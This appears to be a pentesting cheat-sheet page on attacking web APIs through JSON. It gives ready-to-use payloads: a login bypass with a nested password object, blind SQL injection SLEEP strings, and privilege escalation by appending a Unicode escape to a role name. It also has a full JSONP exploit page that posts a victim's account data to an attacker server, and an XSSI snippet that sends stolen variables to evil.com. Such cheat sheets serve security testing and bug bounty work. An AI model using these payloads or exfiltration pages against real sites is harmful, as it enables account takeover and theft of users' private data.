JSON Attack

JSON Injection

POST /api/login HTTP/1.1
Host: vuln-web.io
[...]

{"username":"admin","password":{"password": 1}}

Blind SQL Injection

[-1+or+1%3d((SELET+1+FROM+(SELECT+SLEEP(5))A))]
{AnD SLEEP(5)}
{1 AnD SLEEP(5)}
{1' AnD SLEEP(5)--}
{sleep 5}
"emails":["AnD SLEEP(5)"]
"emails":["test@test.com OR SLEEP(5)#"]
{"options":{"id":[],"emails":["AnD SLEEP(5)"],

Add Parameter

Easy admin Access By Gaming with JSONMedium

JSON Injection

POST /user/create HTTP/1.1
...
Content-Type: application/json
{
   "user": "dana", 
   "role": "administrator"
}

HTTP/1.1 401 Not Authorized
...
Content-Type: application/json

{"Error": "Assignment of internal role 'administrator' is forbidden"}

Add \ud888

POST /user/create HTTP/1.1
...
Content-Type: application/json
{
   "user": "dana", 
   "role": "administrator\ud888"
}

HTTP/1.1 200 OK
...
Content-Type: application/json

{"result": "OK: Created user ‘dana’ with the role of ‘administrator’"}

Attacking APIs using JSON InjectionDana Epp's Blog

JSON Padding, JSONP

Exploiting JSONP and Bypassing Referer CheckMedium

Detection

Add a callback parameter to a JSON URL, by appending ?callback=something to the URL.
When a format type is provided, change it to JSONP. Change ?format=json to ?format=jsonp.

Exploit

Json file

Add a query parameter of callback like this

https://user.redact.com/payment/wallet/balance?callback=call_me

If the endpoint has JSONP enabled it will create an object with the name of call_me and all the data will be inside that object like this.

Exploitation: create a .html file which will extract the data and store it on your desired server. You just have to send the URL to the victim

<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="UTF-8">
    <meta name="referrer" content="no-referrer">
    <title>Test JSON Padding Attack</title>
</head>
<body>

<script>
function call_me(response) {
    var http = new XMLHttpRequest();
    var url = 'https://yourserver.com/store.php';
    var params = 'data=' + encodeURIComponent(JSON.stringify(response));

    http.open('POST', url, true);
    http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

    http.onreadystatechange = function() {
        if (http.readyState == 4 && http.status == 200) {
            console.log(http.responseText);
        }
    }
    http.send(params);
}
</script>

<script src="https://user.redact.com/api/user/profile?callback=call_me"></script>

</body>
</html>

XSSI an JSONP

Cross-Site Script Inclusionscipag

Effortlessly finding Cross Site Script Inclusion (XSSI) & JSONP for bug bountyMedium

On your own server

<html>
  <head>
    <title>Regular XSSI</title>
    <script src="https://www.vulnerable-domain.tld/script.js"></script>
  </head>
  <body>
    <script>
      alert(JSON.stringify(keys[0]));
    </script>
  </body>
</html>

Exfiltration

<script src="https://target.com/vuln.js">
</script>
<script defer>
// var_name is a variable in vuln.js holding sensitive information
console.log(var_name);
// sending information to an attacker controlled server
fetch("https://evil.com/stealInfo?info="+var_name);
</script>

JSON Globbing

IDOR

Node.js

Interesting Books

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

The Web Application Hacker’s Handbook The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
Real-World Bug Hunting: A Field Guide to Web Hacking Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.

PreviousCRLF Injection NextPrototype Pollution

Last updated 6 months ago

hashtagBypass Admin Login

hashtagBlind SQL Injection

hashtagAdd Parameter

hashtagJSON Injection

hashtagJSON Padding, JSONP

hashtagDetection

hashtagExploit

hashtagXSSI an JSONP

hashtagJSON Globbing

hashtagNode.js

hashtagInteresting Books

Bypass Admin Login

Blind SQL Injection

Add Parameter

JSON Injection

JSON Padding, JSONP

Detection

Exploit

XSSI an JSONP

JSON Globbing

Node.js

Interesting Books